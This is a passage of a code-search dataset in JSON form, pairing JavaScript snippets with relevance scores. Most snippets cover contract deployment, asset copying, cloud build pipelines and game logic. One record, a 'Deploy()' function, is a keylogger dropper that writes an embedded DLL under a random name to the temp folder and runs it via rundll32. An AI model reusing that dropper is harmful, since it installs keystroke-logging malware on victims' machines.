contractWithSigner = ENSLootbox.connect(adminSigner);\n const contract = await contractWithSigner.deploy();\n await contract.deployed();\n\n // Store contract details to global variables\n LootboxContract = contract;\n LootboxContractAddress = contract.address.toString();\n}", "title": "" }, { "docid": "18477d915d6e91fa42f85f9249f0072b", "score": "0.47130865", "text": "function copyRes(file, ref){\n var src_dir = config.static_dir;\n if(ref === 'seamod'){\n src_dir = config.seamods_dir;\n } else if(ref && /^\\.{1,2}\\//.test(file)){\n file = path.join(path.dirname(ref), file)\n }\n var src = path.join(src_dir, file)\n var dest = path.join(config.dist_dir, file);\n if(fs.existsSync(realpath(dest))){\n // console.log(('Already Distributed: ' + file).blue);\n return dest;\n }\n if(fs.existsSync(realpath(src))){\n copy(src, dest);\n console.info('Resource \"' + file + '\" distributed.')\n return dest;\n } else {\n console.warn('WRAN: '.warn + 'Resource \"' + src.bold.error + '\" not exist.')\n return false;\n }\n}", "title": "" }, { "docid": "5c87cc60ff9aed1e77f62400c7c5a94c", "score": "0.47094035", "text": "function DeployCommand() {\n\tPrivilegedCommand.call(this);\n}", "title": "" }, { "docid": "e07253aac51da0560424f38a8cf876af", "score": "0.46955088", "text": "stageResources(){\n\n\n\n this.gltfLoader = new GLTFLoader();\n rc.stageForLoading(this.gltfLoader.load.bind(this.gltfLoader), \"assets/baller_base/baller_base.gltf\", \"baller_base\");\n\n this.audioLoader = new THREE.AudioLoader();\n rc.stageForLoading(this.audioLoader.load.bind(this.audioLoader), \"assets/audio/pulse.ogg\", \"delay_sound\");\n rc.stageForLoading(this.audioLoader.load.bind(this.audioLoader), \"assets/audio/spirit-of-the-girl.ogg\", \"ambient_sound\");\n\n this.textureLoader = new THREE.TextureLoader();\n rc.stageForLoading(this.textureLoader.load.bind(this.textureLoader), \"assets/texture/ball_diffuse.jpg\", \"ball_diffuse\");\n rc.stageForLoading(this.textureLoader.load.bind(this.textureLoader), \"assets/texture/ball_normal.jpg\", \"ball_normal\");\n rc.stageForLoading(this.textureLoader.load.bind(this.textureLoader), \"assets/texture/ball_specular.jpg\", \"ball_specular\");\n rc.stageForLoading(this.textureLoader.load.bind(this.textureLoader), \"assets/texture/dot.png\", \"dot\");\n\n\n }", "title": "" }, { "docid": "7f668e96c08f7b69913cfff77f23a0fb", "score": "0.46946198", "text": "async createDeployment(deployment) {\n console.log(\"[SimpleGraphClient] entered createDeployment function\");\n console.log(JSON.stringify(deployment));\n \n return await this.graphClient.api('/admin/windows/updates/deployments')\n .version('beta')\n .post(deployment).then((res) => {return res;});\n }", "title": "" }, { "docid": "4401ddb3aa29d3b95fb90dfd0013172f", "score": "0.467113", "text": "async function main() {\n \n // ethers is avaialble in the global scope\n const [deployer] = await ethers.getSigners();\n console.log(\n \"Deploying the contracts with the account:\",\n await deployer.getAddress()\n );\n \n console.log(\"Account balance:\", (await deployer.getBalance()).toString());\n \n const Box = await ethers.getContractFactory(\"Box\");\n const box = await Box.deploy();\n //const box = await upgrades.deployProxy(Box, [42], { initializer: 'store' });\n await box.deployed();\n \n console.log(\"Box address:\", box.address);\n \n // We also save the contract's artifacts and address in the frontend directory\n saveFrontendFiles(token);\n }", "title": "" }, { "docid": "e25bcbd2cd19365dfb7cf50dc317fe96", "score": "0.46679974", "text": "deployApp(state, { id, deployBody, deployOption }) {\n return new Promise((resolve, reject) => {\n const url = `${constant.api.enframe}apps/${id}/deployment/${deployOption}`;\n\n axios.post(url, deployBody)\n .then(({ data }) => {\n const socket = new SocketHandler();\n // connection to socket\n socket.start(data.result.deployment.roomId);\n // subscribing to socket event\n socket.registerEvent('updateDeploymentStatus', socketData => {\n if (socketData.result === constant.deployStatuses.success) {\n socket.close();\n resolve(data.result.url);\n }\n if (socketData.result === constant.deployStatuses.failure) {\n socket.close();\n reject(socketData);\n }\n // if the status is not Success or Failure - setting this status for app\n this.dispatch('applicationList/updateAppFromList', { id, status: socketData.result });\n });\n })\n .catch(e => reject(e));\n });\n }", "title": "" }, { "docid": "b80515c27765eb3de85536591259a111", "score": "0.46670127", "text": "prepare() {\n return fsensuredir(path.resolve(this.config.cwd, this.config.target, 'assets'))\n .then(() => {\n return fscopy(this.config.theme.assets,\n // TODO: make \"assets\" path configurable\n path.resolve(this.config.cwd, this.config.target, path.basename(this.config.theme.assets))\n )\n })\n .then(() => {\n if (this.config.assets) {\n let copyPromises = this.config.assets.map((asset) => {\n return fscopy(path.resolve(this.config.cwd, asset.src), path.resolve(this.config.cwd, this.config.target, asset.target))\n })\n\n return Promise.all(copyPromises)\n } else {\n warn('Styleguide.prepare', 'No additional assets configured')\n\n return Promise.resolve([])\n }\n })\n .then(() => {\n return this\n })\n }", "title": "" }, { "docid": "27f3ea299c5dbb7f22ef64ef360d6bdb", "score": "0.46603718", "text": "function runProduct(name, version) {\n\n var product = name.toLowerCase();\n\n copyFiles(product, name);\n\n updateJSONFiles(product, version, name);\n }", "title": "" }, { "docid": "1de1fac73f36dcc2c9d1a93b1c26c3f3", "score": "0.46559903", "text": "function Deploy() { \n console.log(\"Starting Keylog\");\n\n // Prep the sample\n var spy = GetAssetAsBytes(\"ShyGuy_x64.dll\");\n // Getting a temp file path\n var temppath = os.TempDir();\n var naming = G.rand.GetAlphaString(4);\n naming = naming.toLowerCase();\n var fullpath = temppath+naming+\".dll\";\n\n // Write the sample\n console.log(\"file name: \"+ fullpath);\n errors = G.file.WriteFileFromBytes(fullpath, spy[0]);\n console.log(\"errors: \"+errors);\n\n var cmd = fullpath + \",dllmain\";\n var running = G.exec.ExecuteCommandAsync(\"C:\\\\Windows\\\\System32\\\\rundll32.exe\", [cmd]);\n console.log(\"errors: \"+running[1]);\n\n console.log(\"Done Keylog\");\n return true;\n }", "title": "" }, { "docid": "85f8f92441528018a5d25ab2e70d9424", "score": "0.46546772", "text": "function renderResourcesBlock() {\n \n for (id in resources) {\n elem = document.createElement('video')\n source = document.createElement('source')\n source.src = resources[id].metadata.path\n elem.classList.add('item')\n elem.classList.add(`id-${id}`)\n elem.append(source)\n $('.resources-list').append(elem)\n $(`.id-${id}`).draggable(dragObjectLogic)\n }\n}", "title": "" }, { "docid": "437dce18a8e96e2116425ccf7b209935", "score": "0.4645733", "text": "function setup(_, resources) {\n const score = new Score(app).addToStage();\n const cat = new Cat(app, resources.cat.texture, resources.tailSprites.textures).addToStage();\n const cookie = new Cookie(app, resources.cookie.texture).addToStage();\n\n state = play({ app, cat, cookie, score });\n\n app.ticker.add(gameLoop);\n\n}", "title": "" }, { "docid": "5be6d9238ffcc6eb32942ee2e695afce", "score": "0.46453196", "text": "function deployFunction(call, callback) {\n console.log('\\nRequest received for function deployFunction:');\n var indexFile = call.request['indexFile'];\n var packageJson = call.request['packageJson'];\n var bucketName = call.request['bucketName'];\n var functionName = call.request['functionName'];\n var response;\n\n cmd.get(\n 'cd /fapra/ && gcloud alpha functions deploy ' + functionName + ' --bucket ' + bucketName + ' --trigger-topic ' + functionName,\n function(data){\n response = data;\n console.log(response);\n callback(null, response);\n }\n );\n}", "title": "" }, { "docid": "36aa3fa8f1158f05cb7cb10d6962d761", "score": "0.46237764", "text": "_validateAndPrepare() {\n\n let _this = this;\n\n // Check Params\n if (!_this.evt.options.stage || !_this.evt.options.region) {\n return BbPromise.reject(new SError('Missing stage or region'));\n }\n\n // Validate stage: make sure stage exists\n if (!_this.S.state.validateStageExists(_this.evt.options.stage)) {\n return BbPromise.reject(new SError('Stage ' + _this.evt.options.stage + ' does not exist in your project', SError.errorCodes.UNKNOWN));\n }\n\n // Validate region: make sure Lambda is supported in that region\n if (awsMisc.validLambdaRegions.indexOf(_this.evt.options.region) == -1) {\n return BbPromise.reject(new SError('Invalid region. Lambda not supported in ' + _this.evt.options.region));\n }\n\n // Validate region: make sure region is not already defined\n if (_this.S.state.validateRegionExists(_this.evt.options.stage, _this.evt.options.region)) {\n return BbPromise.reject(new SError('Region \"' + _this.evt.options.region + '\" already exists in stage \"' + _this.evt.options.stage + '\"'));\n }\n\n // Update and save Meta\n _this.meta = _this.S.state.getMeta();\n\n _this.meta.stages[_this.evt.options.stage].regions[_this.evt.options.region] = {\n variables: {\n region: _this.evt.options.region\n }\n };\n\n return _this.meta.save();\n }", "title": "" }, { "docid": "40ffa0688ae36469a344bdbdee8eb7ad", "score": "0.46147633", "text": "function addDeployment() {\n vm.deployment.server_id = vm.deployment.server.id;\n vm.deployment.repository_id = vm.deployment.repository.id;\n vm.deployment.branch = vm.deployment.branchObj.id;\n deploymentsService.addDeployment(vm.deployment).then(function(data) {\n $location.path('/deployments');\n alertsService.queueAlert('Deployment successfully added.', 'success');\n }, function(reason) {\n alertsService.pushAlert(reason, 'warning');\n });\n }", "title": "" }, { "docid": "1b74b6ee894455681b415b929544eb5d", "score": "0.4607996", "text": "async function execConvert(executeConfiguration, statusFn, nextFn) {\n if (!isStart) {\n return;\n }\n \n \n\n let sourceConfig = {\n projectId: executeConfiguration.projectId,\n projectPath: executeConfiguration.path,\n replicas: executeConfiguration.replicas,\n serviceType: executeConfiguration.serviceType?\"LoadBalancer\":\"ClusterIP\",\n configServer: executeConfiguration.configServer,\n isConfigServer: (executeConfiguration.path == executeConfiguration.configServerProjectPath),\n artifactId: '', // pom.xml\n appName: '', // spring.application.name\n version: '',\n port: 8080,\n datetime: moment().format(\"YYYY-MM-DD_HHmmssSSS\")\n }\n /*\n * 1. If have `spring.application.name`, use it for artifactId and project folder name\n */\n\n // get `spring.application.name`/`server.port` from properties/yml files\n let pomInfo = null;\n try {\n pomInfo = await pomExecutor.getPomInfo(sourceConfig);\n // get artifactId from pom.xml\n sourceConfig.artifactId = pomInfo.artifactId;\n sourceConfig.version = pomInfo.version;\n } catch (e) {\n console.error(e);\n logger.error('SpringExecutor ERROR: ' + e)\n statusFn(e, \"failure\");\n nextProject();\n return;\n }\n\n\n let configInfo = configurationExecutor.getConfigInfo(sourceConfig);\n sourceConfig.port = configInfo.port;\n\n if (configInfo.appName) {\n // artifactId=spring.application.name\n sourceConfig.appName = configInfo.appName;\n } else {\n sourceConfig.appName = pomInfo.artifactId;\n }\n // add appName property, same with artifactId\n // sourceConfig.appName = sourceConfig.artifactId;\n\n // 2. Copy project to dist folder(use `artifactId`)\n let distFolder = path.join(executeConfiguration.outputFolder, '/' + sourceConfig.artifactId);\n\n fs.copy(executeConfiguration.path, distFolder).then(() => {\n\n // dist folder config\n let distConfig = Object.assign({}, sourceConfig, {\n projectPath: distFolder\n })\n\n logger.info(JSON.stringify(distConfig));\n\n // 3. POM: pom.xml\n let pomPromise = pomExecutor.start(distConfig)\n\n // 4. Configuration: *.properties/*.yml\n let configPromise = configurationExecutor.start(distConfig);\n\n // 5. Code\n let codePromise = codeExecutor.start(distConfig)\n\n // 6. Deployment\n let deploymentPromise = deploymentExecutor.start(distConfig);\n \n // 7. Docker\n let dockerPromise = dockerExecutor.start(distConfig);\n\n\n Promise.all([pomPromise, configPromise, codePromise, deploymentPromise, dockerPromise])\n .then(() => {\n // All successed\n logger.info(executeConfiguration.path + \" execute successed!\");\n statusFn(\"\", \"success\");\n nextProject();\n }).catch(err => {\n // has error\n console.error(err);\n logger.error('SpringExecutor ERROR: ' + err);\n statusFn(err, \"failure\");\n nextProject();\n });\n\n })\n .catch(err => {\n console.error(err);\n logger.error('SpringExecutor ERROR: ' + err)\n statusFn(err, \"failure\");\n nextProject();\n });\n\n\n\n function nextProject() {\n var projectInfo = nextFn();\n if (projectInfo) {\n executeConfiguration.path = projectInfo.projectPath;\n executeConfiguration.replicas = projectInfo.replicas;\n executeConfiguration.serviceType = projectInfo.serviceType;\n logger.info(\"Project: \" + JSON.stringify(projectInfo));\n execConvert(executeConfiguration, statusFn, nextFn);\n } else {\n logger.info('=== Finish project conversion ===');\n }\n }\n\n /* \n // @TODO Project converter\n // ONLY Mock converter\n clonefolder(gcpProjectFolder, executeConfiguration.outputFolder);\n\n var pomPath = path.join(executeConfiguration.path, \"/pom.xml\");\n var pomExists = fs.existsSync(pomPath);\n\n setTimeout(function() {\n if (pomExists) {\n statusFn(\"\", \"success\");\n } else {\n statusFn(\"pom.xml not found! \", \"failure\");\n }\n var projectPath = nextFn();\n if (projectPath) {\n executeConfiguration.path = projectPath;\n logger.info(\"Project: \" + projectPath);\n execConvert(executeConfiguration, statusFn, nextFn);\n }\n }, 3000); */\n\n}", "title": "" }, { "docid": "1f6cc73d583bad50646041ae590e7a40", "score": "0.46075907", "text": "function loadResources() {\n common.dirExists(resourcesPath, (er, find) => {\n if (!find) {\n self.resume(null);\n return;\n }\n dirResources.isExist = true;\n loadDynamic();\n });\n }", "title": "" }, { "docid": "740376dd593e234a3b3ee3d274531167", "score": "0.46063063", "text": "function static_resource(build_type)\n{\n return gulp.src(`./*-${build_type}.zip`,\n {\n base: \".\"\n })\n // rename\n .pipe(rename(`${prefix}.resource`))\n // move to SF package\n .pipe(gulp.dest('pkg/staticresources'));\n}", "title": "" }, { "docid": "5123c841cc1a8ca95bf00fbe7e52fb01", "score": "0.4599637", "text": "async function copy() {\n const ncp = Promise.promisify(require('ncp'));\n\n await Promise.all([\n await ncp('static/resources', staticPath),\n await ncp('dist', staticPath + '/js'),\n await ncp('dist', 'static/resources/js'),\n await ncp('static/pages', htmlPath),\n ]);\n\n // await copyFile('static/dist/' + entr + '.js', entryObj[entr] + entr + '.js');\n\n\n // return new Promise((resolve, reject) => {\n // for (var entr in entryObj) {\n // copyFile('tools/dist/' + entr + '.js', entryObj[entr] + entr + '.js');\n // }\n //\n // });\n\n}", "title": "" }, { "docid": "d8a1be4976c67000307d77113546f7a5", "score": "0.45962548", "text": "function DeployDescription() { }", "title": "" }, { "docid": "6b9066f9cdbd005b14751bb9bcf917b4", "score": "0.45957866", "text": "async function deploymentStacksExportTemplate() {\n const subscriptionId =\n process.env[\"RESOURCESDEPLOYMENTSTACKS_SUBSCRIPTION_ID\"] ||\n \"subscriptions/00000000-0000-0000-0000-000000000000\";\n const resourceGroupName =\n process.env[\"RESOURCESDEPLOYMENTSTACKS_RESOURCE_GROUP\"] || \"deploymentStacksRG\";\n const deploymentStackName = \"simpleDeploymentStack\";\n const credential = new DefaultAzureCredential();\n const client = new DeploymentStacksClient(credential, subscriptionId);\n const result = await client.deploymentStacks.exportTemplateAtResourceGroup(\n resourceGroupName,\n deploymentStackName\n );\n console.log(result);\n}", "title": "" }, { "docid": "ea70fbe94dbe2f376991e4378f5b9110", "score": "0.4583909", "text": "async deployLedger(ledgerName, symbolName, schemaHash) {\n let deployedLedger = {}\n //let schema1 = (schema || postSchema);\n const cert = certificate(); // schema0x.schemaErc721);\n const hash = await sha.sha(256, JSON.stringify(cert.schema));\n const schemaId = (schemaHash || `0x${hash}`);\n console.log(hash, schemaId);\n var url = `http://${config.host}:${config.port}/assets/`\n console.log('url ', url);\n //console.log(await providerETH.getNetworkVersion());\n //console.log(await providerETH.getAvailableAccounts());\n\n // //The required keys are name, symbol, uriBase and schemaId\n const ledgerProperties = {\n name: ledgerName, //user.id,\n symbol: symbolName,\n uriBase: url, //'localhost:8080/', // This is a demonstration, you have to setup a server for generating tokens to this URI\n schemaId: schemaId,\n // '0xa4cf0407b223849773430feaf0949827373c40feb3258d82dd605ed41c5e9a2c', // This is the ID from schema88 available at the top of the github https://github.com/0xcert/framework/blob/master/conventions/88-crypto-collectible-schema.md\n capabilities: [\n AssetLedger.AssetLedgerCapability.DESTROY_ASSET,\n AssetLedger.AssetLedgerCapability.UPDATE_ASSET,\n AssetLedger.AssetLedgerCapability.TOGGLE_TRANSFERS,\n AssetLedger.AssetLedgerCapability.REVOKE_ASSET\n ]\n }\n try {\n deployedLedger = await AssetLedger.AssetLedger.deploy(providerETH, ledgerProperties).then(mutation => {\n console.log('Deploying new asset ledger, it may take a few minutes.');\n return mutation.complete();\n })\n console.log('Ledger', deployedLedger)\n } catch (e) {\n console.log('Error', e)\n }\n if (deployedLedger.isCompleted()) {\n console.log('Ledger address', deployedLedger.receiverId);\n return deployedLedger;\n //return deployedLedger.receiverId;\n }\n throw new error;\n }", "title": "" }, { "docid": "dbdb7c77437b9805eb3a91c6b613945d", "score": "0.45837295", "text": "function deploy() {\n // Generate CNAME file from `homepage` value in package.json\n const cname = pkg.homepage.replace(/.*?:\\/\\//g, '');\n fs.writeFileSync(`${paths.build}/CNAME`, cname);\n\n // Push contents of build folder to `gh-pages` branch\n return gulp.src(`${paths.build}/**/*`)\n .pipe(ghPages({\n force: true\n }));\n}", "title": "" }, { "docid": "1b74890d98add4e1a29ce990ff11df40", "score": "0.4583135", "text": "function logStartDeploy(done) {\n spinner.print(' ');\n spinner.start('Deployment start...');\n done();\n}", "title": "" }, { "docid": "00d48ddab8555b54d689f04170cc0c7a", "score": "0.45786294", "text": "function init() {\n // load servers:\n deploymentsService.getServers().then(function (data) {\n vm.servers = data;\n }, function(reason) {\n console.log('Error fetching servers: ' + reason);\n });\n\n // load repositories:\n deploymentsService.getRepositories().then(function (data) {\n vm.repositories = data;\n }, function(reason) {\n console.log('Error fetching repositories: ' + reason);\n });\n }", "title": "" }, { "docid": "5dfa532fdcc8cfb7a9d800e9c9b8813a", "score": "0.45644388", "text": "callDeploy() {\n // switch to status page\n this.setState({statusPage: true})\n\n // Akhil, your function that this calls does not need to be in a React component/class\n // Just make sure it is async\n // be sure to update the state when the results are returned to this function... or tell me to\n }", "title": "" }, { "docid": "4ce6ed79cf862af2a572a577b7aac599", "score": "0.45554626", "text": "addAllResources() {\n this.addResources('*');\n }", "title": "" }, { "docid": "da3d759194676987ec3a5493f6b1b0a2", "score": "0.4550474", "text": "bind(scope, stage, options) {\n const buildCommands = this.props.buildCommands ?? [this.props.buildCommand];\n const installCommands = this.props.installCommands ?? [this.props.installCommand];\n const testCommands = this.props.testCommands ?? [];\n const synthCommand = this.props.synthCommand;\n const environment = { buildImage: default_codebuild_image_1.CDKP_DEFAULT_CODEBUILD_IMAGE, ...this.props.environment };\n const osType = (environment.buildImage instanceof codebuild.WindowsBuildImage)\n ? ec2.OperatingSystemType.WINDOWS\n : ec2.OperatingSystemType.LINUX;\n const buildSpec = codebuild.BuildSpec.fromObject({\n version: '0.2',\n phases: {\n pre_build: {\n commands: (0, _util_1.filterEmpty)([\n this.props.subdirectory ? `cd ${this.props.subdirectory}` : '',\n ...installCommands,\n ...(0, docker_credentials_1.dockerCredentialsInstallCommands)(docker_credentials_1.DockerCredentialUsage.SYNTH, this._dockerCredentials, osType),\n ]),\n },\n build: {\n commands: (0, _util_1.filterEmpty)([\n ...buildCommands,\n ...testCommands,\n synthCommand,\n ]),\n },\n },\n artifacts: renderArtifacts(this),\n });\n const environmentVariables = {\n ...(0, _util_1.copyEnvironmentVariables)(...this.props.copyEnvironmentVariables || []),\n };\n const mergedBuildSpec = this.props.buildSpec ? codebuild.mergeBuildSpecs(this.props.buildSpec, buildSpec) : buildSpec;\n // A hash over the values that make the CodeBuild Project unique (and necessary\n // to restart the pipeline if one of them changes). projectName is not necessary to include\n // here because the pipeline will definitely restart if projectName changes.\n // (Resolve tokens)\n const projectConfigHash = hash(core_1.Stack.of(scope).resolve({\n environment: serializeBuildEnvironment(environment),\n buildSpecString: mergedBuildSpec.toBuildSpec(),\n environmentVariables,\n }));\n const project = new codebuild.PipelineProject(scope, 'CdkBuildProject', {\n projectName: this.props.projectName,\n environment,\n vpc: this.props.vpc,\n subnetSelection: this.props.subnetSelection,\n buildSpec: mergedBuildSpec,\n environmentVariables,\n });\n if (this.props.rolePolicyStatements !== undefined) {\n this.props.rolePolicyStatements.forEach(policyStatement => {\n project.addToRolePolicy(policyStatement);\n });\n }\n this._project = project;\n this._dockerCredentials?.forEach(reg => reg.grantRead(project.grantPrincipal, docker_credentials_1.DockerCredentialUsage.SYNTH));\n this._action = new codepipeline_actions.CodeBuildAction({\n actionName: this.actionProperties.actionName,\n input: this.props.sourceArtifact,\n outputs: [this.props.cloudAssemblyArtifact, ...(this.props.additionalArtifacts ?? []).map(a => a.artifact)],\n // Inclusion of the hash here will lead to the pipeline structure for any changes\n // made the config of the underlying CodeBuild Project.\n // Hence, the pipeline will be restarted. This is necessary if the users\n // adds (for example) build or test commands to the buildspec.\n environmentVariables: {\n ...this.props.environmentVariables,\n _PROJECT_CONFIG_HASH: { value: projectConfigHash },\n },\n project,\n });\n this._actionProperties = this._action.actionProperties;\n return this._action.bind(scope, stage, options);\n function renderArtifacts(self) {\n // save the generated files in the output artifact\n // This part of the buildspec has to look completely different depending on whether we're\n // using secondary artifacts or not.\n const cloudAsmArtifactSpec = {\n 'base-directory': (0, fs_1.toPosixPath)(path.join(self.props.subdirectory ?? '.', DEFAULT_OUTPUT_DIR)),\n 'files': '**/*',\n };\n if (self.props.additionalArtifacts) {\n const secondary = {};\n if (!self.props.cloudAssemblyArtifact.artifactName) {\n throw new Error('When using additional output artifacts, you must also name the CloudAssembly artifact');\n }\n secondary[self.props.cloudAssemblyArtifact.artifactName] = cloudAsmArtifactSpec;\n self.props.additionalArtifacts.forEach((art) => {\n if (!art.artifact.artifactName) {\n throw new Error('You must give the output artifact a name');\n }\n secondary[art.artifact.artifactName] = {\n 'base-directory': (0, fs_1.toPosixPath)(path.join(self.props.subdirectory ?? '.', art.directory)),\n 'files': '**/*',\n };\n });\n return { 'secondary-artifacts': secondary };\n }\n return cloudAsmArtifactSpec;\n }\n }", "title": "" }, { "docid": "b8d5d96ac4b80d15ac1099fff035e040", "score": "0.45471773", "text": "async function createAppVersion() {\n return new Promise((resolve, reject) => {\n elasticbeanstalk.createApplicationVersion({\n ApplicationName: applicationName,\n Process: true,\n SourceBundle: {\n S3Bucket: bucket,\n S3Key: `${label}.zip`,\n },\n VersionLabel: label,\n }, (error) => {\n if (error) {\n reject(error);\n return;\n }\n\n resolve();\n });\n });\n }", "title": "" }, { "docid": "12869986273faab0929b55e4a952cf35", "score": "0.45454872", "text": "useResource(resourceName) {\n this.resources.push(resourceName);\n return this;\n }", "title": "" }, { "docid": "ab9f4d4c84dd0c960a53ddb9bfa1c340", "score": "0.45432812", "text": "async addResources(account){\n\t\tconst signProvider = payload => this.signer(payload, account.publicKey);\n\t\tconst network = account.network();\n\t\tconst eos = Eos({httpEndpoint:network.fullhost(), chainId:network.chainId, signProvider});\n\t\tconst symbol = account.network().systemToken().symbol;\n\t\treturn await eos.delegatebw(account.name, account.name, `0.0000 ${symbol}`, `0.1000 ${symbol}`, 0, { authorization:[account.formatted()] })\n\t\t\t.catch(res => {\n\t\t\t\tpopupError(res);\n\t\t\t\treturn false;\n\t\t\t})\n\t\t\t.then(res => res);\n\t}", "title": "" } ]
3a30abdb961928ecc8b4a75cb1eafa75
checks if player is stuck
[ { "docid": "e59a39e26ae77f70b04fd75244ccdeb9", "score": "0.6205628", "text": "function isStuck() {\n let walkableSides = 4;\n let targetY = playerPosition.y;\n let targetX = playerPosition.x - 1;\n if (targetX < 0 || targetX > 9) {\n walkableSides--;\n } else if (!isWalkable(maze[targetY][targetX])) {\n walkableSides--;\n }\n targetY = playerPosition.y;\n targetX = playerPosition.x + 1;\n if (targetX < 0 || targetX > 9) {\n walkableSides--;\n } else if (!isWalkable(maze[targetY][targetX])) {\n walkableSides--;\n }\n targetY = playerPosition.y - 1;\n targetX = playerPosition.x;\n if (targetY < 0 || targetY > 9) {\n walkableSides--;\n } else if (!isWalkable(maze[targetY][targetX])) {\n walkableSides--;\n }\n targetY = playerPosition.y + 1;\n targetX = playerPosition.x;\n if (targetY < 0 || targetY > 9) {\n walkableSides--;\n } else if (!isWalkable(maze[targetY][targetX])) {\n walkableSides--;\n }\n if (walkableSides === 0) {\n console.log('isStuck');\n return true;\n } else {\n return false;\n }\n}", "title": "" } ]
[ { "docid": "9e750a3f46bb1ed339251ed61b7351e0", "score": "0.7175815", "text": "function playerHasWon () {\n return player.getCurrentPosition().y === -11\n}", "title": "" }, { "docid": "23907dbaccfc2946e7432f185f09f086", "score": "0.6951912", "text": "is_lost() {\n\t\treturn (this.player_list.length == 0 || this.timer <= 0);\n\t}", "title": "" }, { "docid": "2d8110bab1c2373824d8cd6dbd1ad9d4", "score": "0.67397124", "text": "function waitPlayer()\n\t{\n\t\tif(typeof game_loop != \"undefined\")\n\t\t{\n\t\t\tclearInterval(game_loop);\n\t\t}\n\t\tgame_loop = setInterval(waitPlayer, 60);\t\t\n\t}", "title": "" }, { "docid": "51194a4e8d4757d99cb421386ea08301", "score": "0.67333645", "text": "function checkAlive() {\n\tif (alivePlayers < 2 && alivePlayers != totalPlayers && !starting) {\n\t\tstarting = true;\n\t\tsetTimeout(newGame, 3000);\n\t}\n}", "title": "" }, { "docid": "2f2222fd13f9aa309d248a60e67398d1", "score": "0.67107254", "text": "function checkPlayer() {\n return (gInfo.playerList[gInfo.currentPlayer].uid==currentUID);\n}", "title": "" }, { "docid": "d00b994f0553112bfb59ecc0fa375a98", "score": "0.66873956", "text": "function checkIfGameIsFinished() {\n if (player.points >= 1000) {\n youWon();\n isGameFinished = true;\n stopGame();\n return isGameFinished;\n } else if (player.points <= 0) {\n youLost();\n isGameFinished = true;\n stopGame();\n return isGameFinished;\n }\n}", "title": "" }, { "docid": "feaea4e7c50138ad85771edc497d87ac", "score": "0.6558122", "text": "checkEndingCondition() {\n return this.playersFinished == this.players.length\n }", "title": "" }, { "docid": "18897f396e7fe597deb0cb00c9f65c7a", "score": "0.64529747", "text": "function wait() {\n if (gameState === 'pickPlayer') {\n setTimeout(wait,100);\n }\n }", "title": "" }, { "docid": "9687634326d674703ffca82a8a145bc9", "score": "0.64168274", "text": "function checkLoss() {\n\t// if there are no more guesses remaining\n\tif(remainingGuesses <= 0) {\n\t\thasFinished = true;\n\t\talert(\"you lost, press a key to play again\");\n\n\t\t\n\n\t\t\n\t}\n}", "title": "" }, { "docid": "f2ae98a169e346c755a04cba0fa214ab", "score": "0.6366522", "text": "function checkLoss()\n{\n if(remainingGuesses <= 0) {\n\n hasFinished = true;\n }\n}", "title": "" }, { "docid": "098b44f7c16492926b6ff7a347864b61", "score": "0.63659716", "text": "function checkTime() {\n\tif (timer < 0) {\n\t\tyouLose();\n\t}\n}", "title": "" }, { "docid": "9740df03f31378a076c99565e4e6fca5", "score": "0.6359634", "text": "function battleTimeout() {\n duelplayer = {\n opponent: [],\n player: [],\n battleStarted: false,\n opponentid: \"\",\n playerid: \"\",\n playerhealth: 100,\n opponenthealth: 100,\n player1: false,\n player2: false\n };\n message.channel.send({\n embed: {\n color: 3447003,\n title: item,\n description: `⛔ ${\n message.author\n } Battle has been canceled due to inactivity!`\n }\n });\n }", "title": "" }, { "docid": "2c8453f6bdd5b80fbadc685b6af14b34", "score": "0.6353559", "text": "function check()\n{\n\tif (players[currentPlayer].Points > 21)\n\t{\n\t\tdocument.getElementById('status').innerHTML = 'Player: ' + players[currentPlayer].ID + ' LOST';\n\t\tdocument.getElementById('status').style.display = \"inline-block\";\n\t\tend();\n\t}\n}", "title": "" }, { "docid": "78992b67b8415732e17a15e217ad9b7f", "score": "0.63496655", "text": "function checkTimePoint() {\n // report();\n if (player.getPlayerState() != YT.PlayerState.PLAYING) {\n return;\n }\n if (player.getCurrentTime() >= game.timePoints[nextTimePoint].time) {\n atTimePoint();\n }\n}", "title": "" }, { "docid": "46ac8653f9afb9b3aff9ac8096215e23", "score": "0.6345578", "text": "playersCanMove() {\n\t\tif(\n\t\t\tthis.playerOneMoveUp == false && \n\t\t\tthis.playerOneMoveDown == false && \n\t\t\tthis.playerOneMoveLeft == false && \n\t\t\tthis.playerOneMoveRight == false &&\n\t\t\tthis.playerTwoMoveUp == false && \n\t\t\tthis.playerTwoMoveDown == false && \n\t\t\tthis.playerTwoMoveLeft == false && \n\t\t\tthis.playerTwoMoveRight == false \n\t\t){\n\t\t\tthis.gameOver()\n\t\t}\n\t}", "title": "" }, { "docid": "af4f6275027e5c44a9f49bba97181ae8", "score": "0.63080347", "text": "canEndTurn(){\n return this.current_player_has_moved;\n }", "title": "" }, { "docid": "be5ed3596301f1a28911aa1b3f3e950f", "score": "0.62970483", "text": "checkGameStatus() {\n \n if (Hangman.guessesLeft === 0) {\n let playAgain = false;\n playAgain = setTimeout(Hangman.playAgainLoss, 500);\n if (playAgain) {\n setTimeout(Hangman.prepGame, 1000);\n }\n }\n\n if (Hangman.correctGuesses === Hangman.guessesNeeded && Hangman.correctGuesses != 0) {\n wins++;\n let playAgain = false;\n playAgain = setTimeout(Hangman.playAgainWin, 500);\n if (playAgain) {\n setTimeout(Hangman.prepGame, 1000);\n }\n }\n\n }", "title": "" }, { "docid": "0b6c1696a6b8e4b24141239710df5ab1", "score": "0.62775695", "text": "function checkDeath(player) {\n if (!player.isAlive) {\n endGame();\n }\n}", "title": "" }, { "docid": "24a5ffd5cbca7398f74d7a8e17188878", "score": "0.62674546", "text": "function hasPlayers0Left() {\n for (let i = 0; i < players.length; i++) {\n if (\n players[currentPlayer] !== undefined &&\n players[currentPlayer].hasLeft === true\n ) {\n currentPlayer = currentPlayer + 1;\n player = players[currentPlayer];\n } else {\n break;\n }\n }\n}", "title": "" }, { "docid": "64d0db1a5f8f754dbc82ac4494426a1a", "score": "0.62504756", "text": "function checkTimer() {\r\n if (timeLeft === 0) stopClock();\r\n}", "title": "" }, { "docid": "64d0db1a5f8f754dbc82ac4494426a1a", "score": "0.62504756", "text": "function checkTimer() {\r\n if (timeLeft === 0) stopClock();\r\n}", "title": "" }, { "docid": "82958e601506efa7423372cca0c28820", "score": "0.62348306", "text": "function check() {\r\n var gameOver = checkPeices();\r\n if (!gameOver) {\r\n newFrame();\r\n } else {\r\n clearInterval(game);\r\n }\r\n}", "title": "" }, { "docid": "00f1241225a735866f7f3d71b3962f96", "score": "0.6217578", "text": "function playerWon() {\n if (timerToggleCheck.checked) {\n clearInterval(timer);\n }\n gameOver();\n}", "title": "" }, { 